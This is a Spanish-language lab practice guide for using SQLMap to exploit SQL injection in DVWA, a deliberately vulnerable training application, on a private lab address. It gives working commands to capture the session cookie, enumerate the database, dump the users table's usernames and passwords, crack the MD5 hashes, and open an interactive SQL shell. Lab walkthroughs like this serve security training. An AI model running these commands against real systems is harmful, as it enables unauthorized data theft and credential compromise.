Práctica sobre el uso de SQLMap para detectar y explotar vulnerabilidades de inyección SQL en la plataforma DVWA (Damn Vulnerable Web Application) en modo low security.
Para autenticarnos en DVWA, SQLMap necesita la cookie de sesión. La obtenemos con BurpSuite:
Proxy → Intercept.Cookie: de la petición interceptada.La cookie tendrá un aspecto similar a:
security=low; PHPSESSID=9ben154elh1p2k3258ugb89r16; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
-a)El flag -a intenta extraer toda la información posible del servidor de base de datos: esquemas, tablas, columnas, usuarios, contraseñas, hostname y más.
sudo sqlmap \
-u "http://10.0.2.4/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#" \
--cookie "security=low; PHPSESSID=9ben154elh1p2k3258ugb89r16; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" \
-a
Obtener el usuario MySQL con el que se ejecutan las consultas y el nombre de la base de datos en uso:
sudo sqlmap \
-u "http://10.0.2.4/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#" \
--cookie "security=low; PHPSESSID=9ben154elh1p2k3258ugb89r16; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" \
--current-db --current-user
Extraer las columnas de la tabla users dentro del esquema dvwa:
sudo sqlmap \
-u "http://10.0.2.4/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#" \
--cookie "security=low; PHPSESSID=9ben154elh1p2k3258ugb89r16; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" \
-D dvwa -T users --columns
Volcar el contenido de las columnas user y password de la tabla users:
sudo sqlmap \
-u "http://10.0.2.4/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#" \
--cookie "security=low; PHPSESSID=9ben154elh1p2k3258ugb89r16; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" \
-D dvwa -T users -C user,password --dump
Las contraseñas están hasheadas en MD5. SQLMap incluye la opción de intentar crackearlas con su diccionario integrado. Cuando aparezca el prompt, pulsa y para iniciarlo:
[INFO] recognized possible password hashes in column 'password'
do you want to crack them via a dictionary-based attack? [Y/n/q] y
SQLMap permite abrir una shell SQL interactiva para ejecutar consultas directas contra la base de datos desde la línea de comandos:
sudo sqlmap \
-u "http://10.0.2.4/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#" \
--cookie "security=low; PHPSESSID=9ben154elh1p2k3258ugb89r16; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" \
-D dvwa --sql-shell
Una vez dentro de la shell puedes ejecutar sentencias SQL directamente:
sql-shell> SELECT user, password FROM users;
sql-shell> SHOW DATABASES;
sql-shell> SELECT @@version;
| Flag | Descripción |
|---|---|
-u | URL objetivo con el parámetro vulnerable |
--cookie | Cookies de sesión para autenticación |
-a | Extraer toda la información posible |
--current-db | Obtener la base de datos actual |
--current-user | Obtener el usuario MySQL actual |
-D | Especificar base de datos objetivo |
-T | Especificar tabla objetivo |
-C | Especificar columnas a extraer |
--columns | Enumerar columnas de la tabla |
--dump | Volcar el contenido de la tabla |
--sql-shell | Abrir una shell SQL interactiva |